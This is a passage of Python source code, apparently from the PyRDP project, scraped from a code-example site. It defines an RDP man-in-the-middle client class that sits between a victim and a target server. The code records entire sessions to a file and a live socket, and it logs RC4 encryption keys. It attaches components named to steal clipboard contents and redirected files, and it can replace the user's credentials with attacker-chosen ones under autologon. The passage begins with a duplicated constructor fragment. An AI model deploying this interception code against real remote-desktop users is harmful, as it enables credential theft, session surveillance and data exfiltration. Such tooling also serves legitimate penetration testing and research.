        self.securityLayer = None
        self.slowPathLayer = SlowPathLayer()
        self.fastPathLayer = None

        self.tcp.setNext(self.segmentation)
        self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt)

        Layer.chain(self.tpkt, self.x224, self.mcs)
        Layer.chain(self.mcsConnect, self.gccConnect, self.rdpConnect)

        record_layers = [FileLayer(fileHandle)]

        if livePlayerSocket is not None:
            record_layers.append(SocketLayer(livePlayerSocket))

        self.recorder = Recorder(record_layers)
Ejemplo n.º 8
0
class MITMClient(MCSChannelFactory, MCSUserObserver):
    def __init__(self,
                 server,
                 fileHandle: BinaryIO,
                 livePlayerSocket: socket,
                 replacementUsername=None,
                 replacementPassword=None):
        MCSChannelFactory.__init__(self)
        self.log = getLoggerPassFilters(
            f"{LOGGER_NAMES.MITM_CONNECTIONS}.{server.getSessionId()}.client")
        self.log.addFilter(server.metadataFilter)

        self.replacementUsername = replacementUsername
        self.replacementPassword = replacementPassword

        self.server = server
        self.channelMap: Dict[int, str] = {}
        self.channelDefinitions = []
        self.channelObservers = {}
        self.deviceRedirectionObserver = None
        self.useTLS = False
        self.user = None
        self.fastPathObserver = None
        self.conferenceCreateResponse = None
        self.serverData = None
        self.crypter = RC4CrypterProxy()

        rc4Log = getLoggerPassFilters(f"{self.log.name}.rc4")
        self.securitySettings = SecuritySettings(SecuritySettings.Mode.CLIENT)
        self.securitySettings.addObserver(self.crypter)
        self.securitySettings.addObserver(RC4LoggingObserver(rc4Log))

        self.tcp = TwistedTCPLayer()
        self.tcp.createObserver(onConnection=self.startConnection,
                                onDisconnection=self.onDisconnection)

        self.segmentation = SegmentationLayer()
        self.segmentation.createObserver(
            onUnknownHeader=self.onUnknownTPKTHeader)

        self.tpkt = TPKTLayer()

        self.x224 = X224Layer()
        self.x224.createObserver(onConnectionConfirm=self.onConnectionConfirm,
                                 onDisconnectRequest=self.onDisconnectRequest)

        self.mcs = MCSLayer()
        self.router = MCSClientRouter(self.mcs, self)
        self.mcs.addObserver(self.router)
        self.router.createObserver(
            onConnectResponse=self.onConnectResponse,
            onDisconnectProviderUltimatum=self.onDisconnectProviderUltimatum)

        self.mcsConnect = MCSClientConnectionLayer(self.mcs)

        self.gccConnect = GCCClientConnectionLayer(b"1")
        self.gccConnect.createObserver(
            onPDUReceived=self.onConferenceCreateResponse)

        self.rdpConnect = ClientConnectionLayer()
        self.rdpConnect.createObserver(onPDUReceived=self.onServerData)

        self.securityLayer = None
        self.slowPathLayer = SlowPathLayer()
        self.fastPathLayer = None

        self.tcp.setNext(self.segmentation)
        self.segmentation.attachLayer(SegmentationPDUType.TPKT, self.tpkt)

        Layer.chain(self.tpkt, self.x224, self.mcs)
        Layer.chain(self.mcsConnect, self.gccConnect, self.rdpConnect)

        record_layers = [FileLayer(fileHandle)]

        if livePlayerSocket is not None:
            record_layers.append(SocketLayer(livePlayerSocket))

        self.recorder = Recorder(record_layers)

    def getProtocol(self):
        return self.tcp

    def startConnection(self):
        """
        Start the connection sequence to the target machine.
        """
        self.log.debug("TCP connected")
        negotiation = self.server.getNegotiationPDU()
        parser = NegotiationRequestParser()
        self.x224.sendConnectionRequest(parser.write(negotiation))

    def onDisconnection(self, reason):
        self.log.debug(f"Connection closed: {reason}")
        self.server.disconnect()
        self.log.removeFilter(self.server.metadataFilter)

    def onDisconnectRequest(self, pdu):
        self.log.debug("X224 Disconnect Request received")
        self.disconnect()

    def disconnect(self):
        self.log.debug("Disconnecting")
        self.tcp.disconnect()

    def onUnknownTPKTHeader(self, header):
        self.log.error(
            "Closing the connection because an unknown TPKT header was received. Header: 0x%(header)02lx",
            {"header": header})
        self.disconnect()

    def onConnectionConfirm(self, pdu):
        """
        Called when the X224 layer is connected.
        """
        self.log.debug("Connection Confirm received")

        parser = NegotiationResponseParser()
        response = parser.parse(pdu.payload)

        if response.type == NegotiationType.TYPE_RDP_NEG_FAILURE:
            self.log.error(
                "Server returned a TYPE_RDP_NEG_FAILURE packet, most likely because NLA is "
                "enforced by the server and the MITM does not handle NLA.")

        if response.tlsSelected:
            self.tcp.startTLS(ClientTLSContext())
            self.useTLS = True

        self.server.onConnectionConfirm(pdu)

    def onConnectInitial(
            self, gccConferenceCreateRequest: GCCConferenceCreateRequestPDU,
            clientData: ClientDataPDU):
        """
        Called when a Connect Initial PDU is received.
        :param gccConferenceCreateRequest: the conference create request.
        :param clientData: the RDPClientDataPDU.
        """
        self.log.info(
            "Client Data received with client name "
            "%(clientName)s, resolution %(desktopWidth)dx%(desktopHeight)d", {
                "clientName": clientData.coreData.clientName,
                "desktopWidth": clientData.coreData.desktopWidth,
                "desktopHeight": clientData.coreData.desktopHeight
            })
        self.recorder.record(clientData, PlayerMessageType.CLIENT_DATA)

        clientData.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_WANT_32BPP_SESSION

        if clientData.networkData:
            self.channelDefinitions = clientData.networkData.channelDefinitions

        self.gccConnect.conferenceName = gccConferenceCreateRequest.conferenceName
        self.rdpConnect.send(clientData)

    def onConnectResponse(self, pdu):
        """
        Called when an MCS Connect Response PDU is received.
        """
        if pdu.result != 0:
            self.log.error("MCS Connection Failed")
            self.server.onConnectResponse(pdu, None)
        else:
            self.log.debug("MCS Connection Successful")
            self.mcsConnect.recv(pdu)
            self.server.onConnectResponse(pdu, self.serverData)

    def onConferenceCreateResponse(self, pdu):
        """
        Called when a GCC Conference Create Response is received.
        :param pdu: the conference response PDU
        :type pdu: GCCConferenceCreateResponsePDU
        """
        self.conferenceCreateResponse = pdu

    def onServerData(self, serverData: ServerDataPDU):
        """
        Called when the server data from the GCC Conference Create Response is received.
        """
        self.serverData = serverData
        self.securitySettings.generateClientRandom()
        self.securitySettings.serverSecurityReceived(serverData.security)

        self.channelMap[self.serverData.network.mcsChannelID] = "I/O"

        for index in range(len(serverData.network.channels)):
            channelID = serverData.network.channels[index]
            self.channelMap[channelID] = self.channelDefinitions[index].name

    def onAttachUserRequest(self):
        self.user = self.router.createUser()
        self.user.addObserver(self)
        self.user.attach()

    def onAttachConfirmed(self, user):
        # MCS Attach User Confirm successful
        self.server.onAttachConfirmed(user)

    def onAttachRefused(self, user, result):
        # MCS Attach User Confirm failed
        self.server.onAttachRefused(user, result)

    def onChannelJoinRequest(self, pdu: MCSChannelJoinRequestPDU):
        self.mcs.send(pdu)

    def buildChannel(self, mcs, userID, channelID):
        channelName = self.channelMap.get(channelID, None)
        channelLog = channelName + " (%d)" % channelID if channelName else channelID
        self.log.debug("building channel %(arg1)s for user %(arg2)d", {
            "arg1": channelLog,
            "arg2": userID
        })

        if channelName == "I/O":
            channel = self.buildIOChannel(mcs, userID, channelID)
        elif channelName == VirtualChannelName.CLIPBOARD:
            channel = self.buildClipboardChannel(mcs, userID, channelID)
        elif channelName == VirtualChannelName.DEVICE_REDIRECTION:
            channel = self.buildDeviceRedirectionChannel(
                mcs, userID, channelID)
        else:
            channel = self.buildVirtualChannel(mcs, userID, channelID)

        self.server.onChannelJoinAccepted(userID, channelID)
        return channel

    def createSecurityLayer(self):
        encryptionMethod = self.serverData.security.encryptionMethod

        if self.useTLS:
            return TLSSecurityLayer()
        else:
            return SecurityLayer.create(encryptionMethod, self.crypter)

    def buildVirtualChannel(self, mcs, userID, channelID) -> MCSClientChannel:
        channel = MCSClientChannel(mcs, userID, channelID)
        securityLayer = self.createSecurityLayer()
        rawLayer = RawLayer()

        Layer.chain(channel, securityLayer, rawLayer)

        observer = MITMVirtualChannelObserver(rawLayer)
        rawLayer.addObserver(observer)
        self.channelObservers[channelID] = observer

        return channel

    def buildClipboardChannel(self, mcs: MCSLayer, userID: int,
                              channelID: int) -> MCSClientChannel:
        """
        :param mcs: The MCS Layer to transport traffic
        :param userID: The mcs user that builds the channel
        :param channelID: The channel ID to use to communicate in that channel
        :return: MCSClientChannel that handles the Clipboard virtual channel traffic from the server to the MITM.
        """
        # Create all necessary layers
        channel = MCSClientChannel(mcs, userID, channelID)
        securityLayer = self.createSecurityLayer()
        virtualChannelLayer = VirtualChannelLayer()
        clipboardLayer = ClipboardLayer()

        Layer.chain(channel, securityLayer, virtualChannelLayer,
                    clipboardLayer)

        # Create and link the MITM Observer for the client side to the clipboard layer.
        activeClipboardObserver = ActiveClipboardStealer(
            clipboardLayer, self.recorder, self.log)
        clipboardLayer.addObserver(activeClipboardObserver)

        self.channelObservers[channelID] = activeClipboardObserver

        return channel

    def buildDeviceRedirectionChannel(self, mcs: MCSLayer, userID: int,
                                      channelID: int) -> MCSClientChannel:
        """
        :param mcs: The MCS Layer to transport traffic
        :param userID: The mcs user that builds the channel
        :param channelID: The channel ID to use to communicate in that channel
        :return: MCSClientChannel that handles the Device redirection virtual channel traffic from the server to the MITM.
        """
        # Create all necessary layers
        channel = MCSClientChannel(mcs, userID, channelID)
        securityLayer = self.createSecurityLayer()
        virtualChannelLayer = VirtualChannelLayer(
            activateShowProtocolFlag=False)
        deviceRedirectionLayer = DeviceRedirectionLayer()

        Layer.chain(channel, securityLayer, virtualChannelLayer,
                    deviceRedirectionLayer)

        # Create and link the MITM Observer for the client side to the device redirection layer.
        self.deviceRedirectionObserver = PassiveFileStealerClient(
            deviceRedirectionLayer, self.recorder, self.log)
        deviceRedirectionLayer.addObserver(self.deviceRedirectionObserver)

        self.channelObservers[channelID] = self.deviceRedirectionObserver

        return channel

    def buildIOChannel(self, mcs: MCSLayer, userID: int,
                       channelID: int) -> MCSClientChannel:
        encryptionMethod = self.serverData.security.encryptionMethod
        self.securityLayer = self.createSecurityLayer()
        self.securityLayer.createObserver(
            onLicensingDataReceived=self.onLicensingDataReceived)

        slowPathObserver = MITMSlowPathObserver(self.log, self.slowPathLayer)
        self.slowPathLayer.addObserver(slowPathObserver)
        self.slowPathLayer.addObserver(RecordingSlowPathObserver(
            self.recorder))
        self.channelObservers[channelID] = slowPathObserver

        fastPathParser = createFastPathParser(self.useTLS, encryptionMethod,
                                              self.crypter, ParserMode.CLIENT)
        self.fastPathLayer = FastPathLayer(fastPathParser)
        self.fastPathObserver = MITMFastPathObserver(self.log,
                                                     self.fastPathLayer)
        self.fastPathLayer.addObserver(self.fastPathObserver)
        self.fastPathLayer.addObserver(
            RecordingFastPathObserver(self.recorder,
                                      PlayerMessageType.FAST_PATH_OUTPUT))

        channel = MCSClientChannel(mcs, userID, channelID)
        Layer.chain(channel, self.securityLayer, self.slowPathLayer)

        self.segmentation.attachLayer(SegmentationPDUType.FAST_PATH,
                                      self.fastPathLayer)

        if self.useTLS:
            self.securityLayer.securityHeaderExpected = True
        elif encryptionMethod != 0:
            self.log.debug("Sending Security Exchange")
            self.slowPathLayer.previous.sendSecurityExchange(
                self.securitySettings.encryptClientRandom())

        return channel

    def onChannelJoinRefused(self, user, result, channelID):
        self.server.onChannelJoinRefused(user, result, channelID)

    def onClientInfoPDUReceived(self, pdu: ClientInfoPDU):

        # If set, replace the provided username and password to connect the user regardless of
        # the credentials they entered.
        if self.replacementUsername is not None:
            pdu.username = self.replacementUsername
        if self.replacementPassword is not None:
            pdu.password = self.replacementPassword

        if self.replacementUsername is not None and self.replacementPassword is not None:
            pdu.flags |= ClientInfoFlags.INFO_AUTOLOGON

        # Tell the server we don't want compression (unsure of the effectiveness of these flags)
        pdu.flags &= ~ClientInfoFlags.INFO_COMPRESSION
        pdu.flags &= ~ClientInfoFlags.INFO_CompressionTypeMask
        self.log.debug("Sending Client Info: %(arg1)s", {"arg1": pdu})
        self.securityLayer.sendClientInfo(pdu)

    def onLicensingDataReceived(self, data):
        self.log.debug("Licensing data received")

        if self.useTLS:
            self.securityLayer.securityHeaderExpected = False

        self.server.onLicensingDataReceived(data)

    def onDisconnectProviderUltimatum(self, pdu):
        self.log.debug("Disconnect Provider Ultimatum received")
        self.server.sendDisconnectProviderUltimatum(pdu)

    def getChannelObserver(self, channelID):
        return self.channelObservers[channelID]

    def getFastPathObserver(self):
        return self.fastPathObserver